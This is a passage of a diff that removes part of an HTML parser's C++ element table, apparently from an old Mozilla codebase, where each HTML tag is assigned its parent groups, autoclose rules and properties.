-DECL_TAG_LIST(gTDCloseTags,{eHTMLTag_td COMMA eHTMLTag_th})
-DECL_TAG_LIST(gDTCloseTags,{eHTMLTag_p COMMA eHTMLTag_dd COMMA eHTMLTag_dt})
-DECL_TAG_LIST(gULCloseTags,{eHTMLTag_li})
-DECL_TAG_LIST(gULAutoClose,{eHTMLTag_p COMMA eHTMLTag_ul}) //fix bug 50261..
-
-DECL_TAG_LIST(gExcludableParents,{eHTMLTag_pre}) // Ref Bug 22913
-DECL_TAG_LIST(gCaptionExcludableParents,{eHTMLTag_td}) //Ref Bug 26488
-
-//*********************************************************************************************
-//Lastly, bind tags with their rules, their special parents and special kids.
-//*********************************************************************************************
-
-
-const int kNoPropRange=0;
-const int kDefaultPropRange=1;
-const int kBodyPropRange=2;
-
-//*********************************************************************************************
-//
-// Now let's declare the element table...
-//
-//*********************************************************************************************
-
-
-const nsHTMLElement gHTMLElements[] = {
- {
- /*tag*/ eHTMLTag_unknown,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kNone,
- /*special props, prop-range*/ kNonContainer, 10,
- /*special parents,kids*/ 0,&gUnknownKids,
- },
- {
- /*tag*/ eHTMLTag_a,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kInlineEntity, kNone,
- /*special props, prop-range*/ kVerifyHierarchy, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_abbr,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_acronym,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_address,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, kInlineEntity, kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gAddressKids,
- },
- {
- /*tag*/ eHTMLTag_applet,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kSelf|kInlineEntity|kFlowEntity), kNone,
- /*special props, prop-range*/ kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ 0,&gContainsParam,
- },
- {
- /*tag*/ eHTMLTag_area,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gAreaParent,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kInlineEntity, kSelf,
- /*special props, prop-range*/ kNonContainer,kDefaultPropRange,
- /*special parents,kids*/ &gAreaParent,0,
- },
- {
- /*tag*/ eHTMLTag_article,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_aside,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_audio,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0, 0, 0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gAudioKids,
- },
- {
- /*tag*/ eHTMLTag_b,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kInlineEntity|kSelf), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_base,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInHead,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kHeadContent, kNone, kNone,
- /*special props, prop-range*/ kNonContainer, kNoPropRange,
- /*special parents,kids*/ &gInHead,0,
- },
- {
- /*tag*/ eHTMLTag_basefont,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kInlineEntity, kNone,
- /*special props, prop-range*/ kNonContainer, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_bdo,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_bgsound,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ (kFlowEntity|kHeadMisc), kNone, kNone,
- /*special props, prop-range*/ kNonContainer,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_big,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kInlineEntity|kSelf), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_blockquote,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0, //remove excludeable parents to fix bug 53473
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_body,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_frameset,
- /*rootnodes,endrootnodes*/ &gInHTML,&gInHTML,
- /*autoclose starttags and endtags*/ &gBodyAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kHTMLContent,(kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ kOmitEndTag, kBodyPropRange,
- /*special parents,kids*/ 0,&gBodyKids,
- },
- {
- /*tag*/ eHTMLTag_br,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kNone, kNone,
- /*special props, prop-range*/ kRequiresBody|kNonContainer, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_button,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFormControl, kFlowEntity, kFormControl,
- /*special props, prop-range*/ kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ 0,&gButtonKids,
- },
- {
- /*tag*/ eHTMLTag_canvas,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_caption,
- /*req-parent excl-parent*/ eHTMLTag_table,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInTable,&gInTable,
- /*autoclose starttags and endtags*/ &gCaptionAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kFlowEntity, kSelf,
- /*special props, prop-range*/ (kNoPropagate|kNoStyleLeaksOut),kDefaultPropRange,
- /*special parents,kids*/ &gInTable,0,
- },
- {
- /*tag*/ eHTMLTag_center,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_cite,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_code,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_col,
- /*req-parent excl-parent*/ eHTMLTag_table,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gColParents,&gColParents,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kNone,
- /*special props, prop-range*/ kNoPropagate|kNonContainer,kDefaultPropRange,
- /*special parents,kids*/ &gColParents,0,
- },
- {
- /*tag*/ eHTMLTag_colgroup,
- /*req-parent excl-parent*/ eHTMLTag_table,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInTable,&gInTable,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kNone,
- /*special props, prop-range*/ kNoPropagate,kDefaultPropRange,
- /*special parents,kids*/ &gInTable,&gColgroupKids,
- },
- {
- /*tag*/ eHTMLTag_data,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_datalist,
- /*requiredAncestor*/ eHTMLTag_unknown, eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kInlineEntity|kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_dd,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gDTCloseTags,0,&gDLKids,0,
- /*parent,incl,exclgroups*/ kInlineEntity, kFlowEntity, kNone,
- /*special props, prop-range*/ kNoPropagate|kMustCloseSelf|kVerifyHierarchy|kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ &gInDL,0,
- },
- {
- /*tag*/ eHTMLTag_del,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ &gInBody,0,
- },
- {
- /*tag*/ eHTMLTag_dfn,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_dir,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gOLRootTags,&gOLRootTags,
- /*autoclose starttags and endtags*/ &gOLAutoClose, &gULCloseTags, 0,0,
- /*parent,incl,exclgroups*/ kList, (kFlowEntity|kSelf), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,&gULKids,
- },
- {
- /*tag*/ eHTMLTag_div,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gDivAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_dl,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gDLRootTags,&gRootTags, //fix bug 57634
- /*autoclose starttags and endtags*/ 0,0,0,&gDTKids, // DT should not contain DL - bug 100466
- /*parent,incl,exclgroups*/ kBlock, kSelf|kFlowEntity, kNone,
- /*special props, prop-range*/ 0, kNoPropRange,
- /*special parents,kids*/ 0,&gDLKids,
- },
- {
- /*tag*/ eHTMLTag_dt,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gDTCloseTags,0,&gDLKids,0,
- /*parent,incl,exclgroups*/ kInlineEntity, (kFlowEntity-kHeading), kNone, // dt's parent group is inline - bug 65467
- /*special props, prop-range*/ (kNoPropagate|kMustCloseSelf|kVerifyHierarchy|kRequiresBody),kDefaultPropRange,
- /*special parents,kids*/ &gInDL,0,
- },
- {
- /*tag*/ eHTMLTag_em,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_embed,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ 0,&gContainsParam,
- },
- {
- /*tag*/ eHTMLTag_fieldset,
- /*requiredAncestor*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ kNoPropagate,kDefaultPropRange,
- /*special parents,kids*/ 0,&gFieldsetKids,
- },
- {
- /*tag*/ eHTMLTag_figcaption,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_figure,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_font,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,&gFontKids,
- },
- {
- /*tag*/ eHTMLTag_footer,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_form,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, kFlowEntity, kNone,
- /*special props, prop-range*/ kNoStyleLeaksIn, kNoPropRange,
- /*special parents,kids*/ 0,&gFormKids,
- },
- {
- /*tag*/ eHTMLTag_frame,
- /*req-parent excl-parent*/ eHTMLTag_frameset,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInFrameset,&gInFrameset,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kNone, kNone,
- /*special props, prop-range*/ kNoPropagate|kNoStyleLeaksIn|kNonContainer, kNoPropRange,
- /*special parents,kids*/ &gInFrameset,0,
- },
- {
- /*tag*/ eHTMLTag_frameset,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_body,
- /*rootnodes,endrootnodes*/ &gFramesetParents,&gInHTML,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kHTMLContent, kSelf, kAllTags,
- /*special props, prop-range*/ kNoPropagate|kNoStyleLeaksIn, kNoPropRange,
- /*special parents,kids*/ &gInHTML,&gFramesetKids,
- },
-
- {
- /*tag*/ eHTMLTag_h1,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gHeadingTags, &gHeadingTags, &gHeadingTags,0,
- /*parent,incl,exclgroups*/ kHeading, kFlowEntity, kNone,
- /*special props, prop-range*/ kVerifyHierarchy,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_h2,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gHeadingTags, &gHeadingTags, &gHeadingTags,0,
- /*parent,incl,exclgroups*/ kHeading, kFlowEntity, kNone,
- /*special props, prop-range*/ kVerifyHierarchy,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_h3,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gHeadingTags, &gHeadingTags, &gHeadingTags,0,
- /*parent,incl,exclgroups*/ kHeading, kFlowEntity, kNone,
- /*special props, prop-range*/ kVerifyHierarchy,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_h4,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gHeadingTags, &gHeadingTags, &gHeadingTags,0,
- /*parent,incl,exclgroups*/ kHeading, kFlowEntity, kNone,
- /*special props, prop-range*/ kVerifyHierarchy,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_h5,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gHeadingTags, &gHeadingTags, &gHeadingTags,0,
- /*parent,incl,exclgroups*/ kHeading, kFlowEntity, kNone,
- /*special props, prop-range*/ kVerifyHierarchy,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_h6,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gHeadingTags, &gHeadingTags, &gHeadingTags,0,
- /*parent,incl,exclgroups*/ kHeading, kFlowEntity, kNone,
- /*special props, prop-range*/ kVerifyHierarchy,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_head,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gInHTML,&gInHTML,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kHTMLContent, (kHeadContent|kHeadMisc), kNone,
- /*special props, prop-range*/ kNoStyleLeaksIn, kDefaultPropRange,
- /*special parents,kids*/ &gInHTML,0,
- },
- {
- /*tag*/ eHTMLTag_header,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_hgroup,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_hr,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gHRAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kBlock, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_html,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_html,
- /*rootnodes,endrootnodes*/ &gHTMLRootTags,&gHTMLRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kNone, kHTMLContent, kNone,
- /*special props, prop-range*/ kSaveMisplaced|kOmitEndTag|kNoStyleLeaksIn, kDefaultPropRange,
- /*special parents,kids*/ 0,&gHtmlKids,
- },
- {
- /*tag*/ eHTMLTag_i,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFontStyle, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_iframe,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ kNoStyleLeaksIn, kNoPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_image,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kNone, kNone,
- /*special props, prop-range*/ kNonContainer,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_img,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kSpecial, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_input,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ &gInputAutoClose,0,0,0,
- /*parent,incl,exclgroups*/ kFormControl, kNone, kNone,
- /*special props, prop-range*/ kNonContainer|kRequiresBody,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_ins,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, (kSelf|kFlowEntity), kNone,
- /*special props, prop-range*/ 0, kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_kbd,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kPhrase, (kSelf|kInlineEntity), kNone,
- /*special props, prop-range*/ 0,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_keygen,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFlowEntity, kNone, kNone,
- /*special props, prop-range*/ kNonContainer,kDefaultPropRange,
- /*special parents,kids*/ 0,0,
- },
- {
- /*tag*/ eHTMLTag_label,
- /*req-parent excl-parent*/ eHTMLTag_unknown,eHTMLTag_unknown,
- /*rootnodes,endrootnodes*/ &gRootTags,&gRootTags,
- /*autoclose starttags and endtags*/ 0,0,0,0,
- /*parent,incl,exclgroups*/ kFormControl, kInlineEntity, kSelf,
